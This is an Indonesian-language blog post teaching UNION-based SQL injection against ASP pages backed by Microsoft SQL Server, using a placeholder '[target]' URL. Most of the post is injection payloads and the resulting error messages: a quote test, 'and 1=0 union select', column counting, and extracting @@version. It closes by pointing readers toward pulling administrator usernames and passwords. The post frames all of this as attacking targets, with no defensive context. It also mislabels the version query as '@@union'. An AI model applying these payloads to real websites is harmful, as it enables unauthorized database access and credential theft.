It's About Xadpritox
SQL Injection Pada ASP 2
Kali ini saya akan memberikan contoh SQL Injection menggunakan metode Union Select, berikut contohnya :
Misalkan target kita kali ini adalah
http://[target]/Product_Des.asp?ProductID=55
Lalu kita tambahkan kutip 1 (‘) pada bagian belakang addressnya, menjadi http://[target]/Product_Des.asp?ProductID=55′
Jika terdapat Error, misalkan errornya seperti berikut :
Microsoft OLE DB Provider for SQL Server error ‘80040e14′
Unclosed quotation mark before the character string ”.
/Product_Des.asp, line 11
Maka artinya target tersebut vulnerable dan dapat diserang dengan metode SQL Injection.
Oke, sekarang saya akan memberikan contoh bagaimana metode Union Select bekerja, yaitu dengan membuat sebuah fungsi menjadi salah,
dengan menggunakan “and 1=0″ atau menggunakan nilai negatif dari suatu nilai.
Lalu setelah dijadikan negatif, ditambahkan kalimat union select dan jumlah kolom, berikut contohnya :
http://[target]/Product_Des.asp?ProductID=-55+union+select–
atau
http://[target]/Product_Des.asp?ProductID=55+and+1=0+union+select–
Lalu pada tahap selanjutnya, saya akan memasukkan angka untuk mengecek jumlah field pada tabel tersebut. Berikut contohnya :
http://[target]/Product_Des.asp?ProductID=-55+union+select+1–
Terdapat Error
Microsoft OLE DB Provider for SQL Server error ‘80040e14′
All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/Product_Des.asp, line 11
itu artinya, pada tabel di halaman http://[target]/Product_Des.asp?ProductID=55 jumlah fieldnya lebih dari 1, berarti jumlah fieldnya harus ditambahkan lagi.
Saya mencoba untuk menambah jumlah fieldnya menjadi 2 seperti berikut
http://[target]/Product_Des.asp?ProductID=-55+union+select+1,2–
namun masih ada errornya
Microsoft OLE DB Provider for SQL Server error ‘80040e14′
All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/Product_Des.asp, line 11
artinya field pada tabel tersebut lebih dari 2, lakukan terus menerus hingga errornya hilang. Berbeda target, berbeda pula jumlah fieldnya.
pada jumlah field 4, target tidak mengeluarkan error. Artinya dalam tabel tersebut terdapat 4 Field.
http://[target]/Product_Des.asp?ProductID=-55+union+select+1,2,3,4–
Coba lihat pada target, angka berapa saja yang muncul ? Misalkan pada target terdapat angka 3 dan 4, Itu artinya angka 3 dan 4 bisa diinject.
Misalkan untuk mengecek versi database, bisa menggunakan perintah @@union dan diselipkan pada angka angka yang keluar pada halaman target, misalkan
http://[target]/Product_Des.asp?ProductID=-55+union+select+1,2,@@version,4–
Maka akan keluar versi databasenya, misalkan
Microsoft SQL Server 2000 – 8.00.2055 (Intel X86) Dec 16 2008 19:46:53 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 1)
Banyak yang bisa di explore, misalkan dengan mencari username dan password administrator.
Silahkan baca artikel saya lainnya untuk mencari username dan password administrator.